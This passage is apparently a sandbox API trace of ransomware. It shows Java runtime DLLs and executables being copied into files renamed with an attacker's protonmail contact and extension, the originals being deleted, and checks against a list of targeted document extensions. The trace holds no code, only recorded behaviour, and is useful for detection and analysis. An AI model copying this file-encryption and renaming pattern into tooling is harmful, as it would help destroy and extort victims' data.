(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0298.905] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.906] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.906] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0298.906] GetLastError () returned 0x0 [0298.906] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x10e40, lpOverlapped=0x0) returned 1 [0299.073] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x10e50, lpOverlapped=0x0) returned 1 [0299.075] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.075] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xf2, lpOverlapped=0x0) returned 1 [0299.075] SetEndOfFile (hFile=0x1084) returned 1 [0299.075] CloseHandle (hObject=0x1084) returned 1 [0299.075] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.075] SetEndOfFile (hFile=0x10b4) returned 1 [0299.076] CloseHandle (hObject=0x10b4) returned 1 [0299.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.076] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1 [0299.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.077] lstrlenW (lpString=".doc") returned 4 [0299.077] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.077] lstrlenW (lpString=".docx") returned 5 [0299.077] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.077] lstrlenW (lpString=".pdf") returned 4 [0299.077] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.077] lstrlenW (lpString=".xls") returned 4 [0299.077] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.077] lstrlenW (lpString=".xlsx") returned 5 [0299.077] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.077] lstrlenW (lpString=".ppt") returned 4 [0299.077] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.077] lstrlenW (lpString=".zip") returned 4 [0299.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.077] lstrlenW (lpString=".rar") returned 4 [0299.077] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.077] lstrlenW (lpString=".bz2") returned 4 [0299.077] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.077] lstrlenW (lpString=".7z") returned 3 [0299.077] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.077] lstrlenW (lpString=".dbf") returned 4 [0299.077] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.077] lstrlenW (lpString=".1cd") returned 4 [0299.077] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.077] lstrlenW (lpString=".jpg") returned 4 [0299.077] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.078] lstrlenW (lpString=".doc") returned 4 [0299.078] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.078] lstrlenW (lpString=".docx") returned 5 [0299.078] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.078] lstrlenW (lpString=".pdf") returned 4 [0299.078] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.078] lstrlenW (lpString=".xls") returned 4 [0299.078] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.078] lstrlenW (lpString=".xlsx") returned 5 [0299.078] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.078] lstrlenW (lpString=".ppt") returned 4 [0299.078] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.078] lstrlenW (lpString=".zip") returned 4 [0299.078] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.078] lstrlenW (lpString=".rar") returned 4 [0299.078] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.078] lstrlenW (lpString=".bz2") returned 4 [0299.078] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.078] lstrlenW (lpString=".7z") returned 3 [0299.078] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.078] lstrlenW (lpString=".dbf") returned 4 [0299.078] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.078] lstrlenW (lpString=".1cd") returned 4 [0299.078] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0299.078] lstrlenW (lpString=".jpg") returned 4 [0299.078] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.078] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.079] lstrlenW (lpString="java_crw_demo.dll") returned 17 [0299.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.079] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=29760) returned 1 [0299.079] CloseHandle (hObject=0x10b4) returned 1 [0299.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0299.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.080] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.080] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0299.080] GetLastError () returned 0x0 [0299.080] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x7440, lpOverlapped=0x0) returned 1 [0299.158] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x7450, lpOverlapped=0x0) returned 1 [0299.159] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.159] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0299.159] SetEndOfFile (hFile=0x1084) returned 1 [0299.159] CloseHandle (hObject=0x1084) returned 1 [0299.159] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.159] SetEndOfFile (hFile=0x10b4) returned 1 [0299.160] CloseHandle (hObject=0x10b4) returned 1 [0299.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.160] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString=".doc") returned 4 [0299.161] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.161] lstrlenW (lpString=".docx") returned 5 [0299.161] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0299.161] lstrlenW (lpString=".pdf") returned 4 [0299.161] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.161] lstrlenW (lpString=".xls") returned 4 [0299.161] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.161] lstrlenW (lpString=".xlsx") returned 5 [0299.161] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0299.161] lstrlenW (lpString=".ppt") returned 4 [0299.161] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString=".zip") returned 4 [0299.161] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.161] lstrlenW (lpString=".rar") returned 4 [0299.161] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.161] lstrlenW (lpString=".bz2") returned 4 [0299.161] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.161] lstrlenW (lpString=".7z") returned 3 [0299.161] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString=".dbf") returned 4 [0299.161] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString=".1cd") returned 4 [0299.161] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString=".jpg") returned 4 [0299.161] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.161] lstrlenW (lpString=".doc") returned 4 [0299.162] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.162] lstrlenW (lpString=".docx") returned 5 [0299.162] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0299.162] lstrlenW (lpString=".pdf") returned 4 [0299.162] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.162] lstrlenW (lpString=".xls") returned 4 [0299.162] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.162] lstrlenW (lpString=".xlsx") returned 5 [0299.162] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0299.162] lstrlenW (lpString=".ppt") returned 4 [0299.162] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.162] lstrlenW (lpString=".zip") returned 4 [0299.162] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.162] lstrlenW (lpString=".rar") returned 4 [0299.162] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.162] lstrlenW (lpString=".bz2") returned 4 [0299.162] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.162] lstrlenW (lpString=".7z") returned 3 [0299.162] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.162] lstrlenW (lpString=".dbf") returned 4 [0299.162] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.162] lstrlenW (lpString=".1cd") returned 4 [0299.162] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0299.162] lstrlenW (lpString=".jpg") returned 4 [0299.162] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.162] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.162] lstrlenW (lpString="jdwp.dll") returned 8 [0299.162] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.163] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=201792) returned 1 [0299.163] CloseHandle (hObject=0x10b4) returned 1 [0299.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0299.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.163] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.163] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.163] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.163] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0299.163] GetLastError () returned 0x0 [0299.163] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x31440, lpOverlapped=0x0) returned 1 [0299.244] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x31450, lpOverlapped=0x0) returned 1 [0299.248] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.248] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.248] SetEndOfFile (hFile=0x1084) returned 1 [0299.248] CloseHandle (hObject=0x1084) returned 1 [0299.248] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.248] SetEndOfFile (hFile=0x10b4) returned 1 [0299.250] CloseHandle (hObject=0x10b4) returned 1 [0299.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.250] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1 [0299.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.250] lstrlenW (lpString=".doc") returned 4 [0299.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString=".docx") returned 5 [0299.251] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0299.251] lstrlenW (lpString=".pdf") returned 4 [0299.251] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString=".xls") returned 4 [0299.251] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString=".xlsx") returned 5 [0299.251] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0299.251] lstrlenW (lpString=".ppt") returned 4 [0299.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.251] lstrlenW (lpString=".zip") returned 4 [0299.251] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString=".rar") returned 4 [0299.251] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString=".bz2") returned 4 [0299.251] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.251] lstrlenW (lpString=".7z") returned 3 [0299.251] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.251] lstrlenW (lpString=".dbf") returned 4 [0299.251] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.251] lstrlenW (lpString=".1cd") returned 4 [0299.251] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.251] lstrlenW (lpString=".jpg") returned 4 [0299.251] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.251] lstrlenW (lpString=".doc") returned 4 [0299.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.251] lstrlenW (lpString=".docx") returned 5 [0299.251] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0299.252] lstrlenW (lpString=".pdf") returned 4 [0299.252] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.252] lstrlenW (lpString=".xls") returned 4 [0299.252] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.252] lstrlenW (lpString=".xlsx") returned 5 [0299.252] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0299.252] lstrlenW (lpString=".ppt") returned 4 [0299.252] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.252] lstrlenW (lpString=".zip") returned 4 [0299.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.252] lstrlenW (lpString=".rar") returned 4 [0299.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.252] lstrlenW (lpString=".bz2") returned 4 [0299.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.252] lstrlenW (lpString=".7z") returned 3 [0299.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.252] lstrlenW (lpString=".dbf") returned 4 [0299.252] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.252] lstrlenW (lpString=".1cd") returned 4 [0299.252] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0299.252] lstrlenW (lpString=".jpg") returned 4 [0299.252] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.252] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.252] lstrlenW (lpString="jjs.exe") returned 7 [0299.252] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.253] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=15936) returned 1 [0299.253] CloseHandle (hObject=0x10b4) returned 1 [0299.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0299.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.253] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.253] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.253] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.253] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0299.254] GetLastError () returned 0x0 [0299.254] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0299.306] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x3e50, 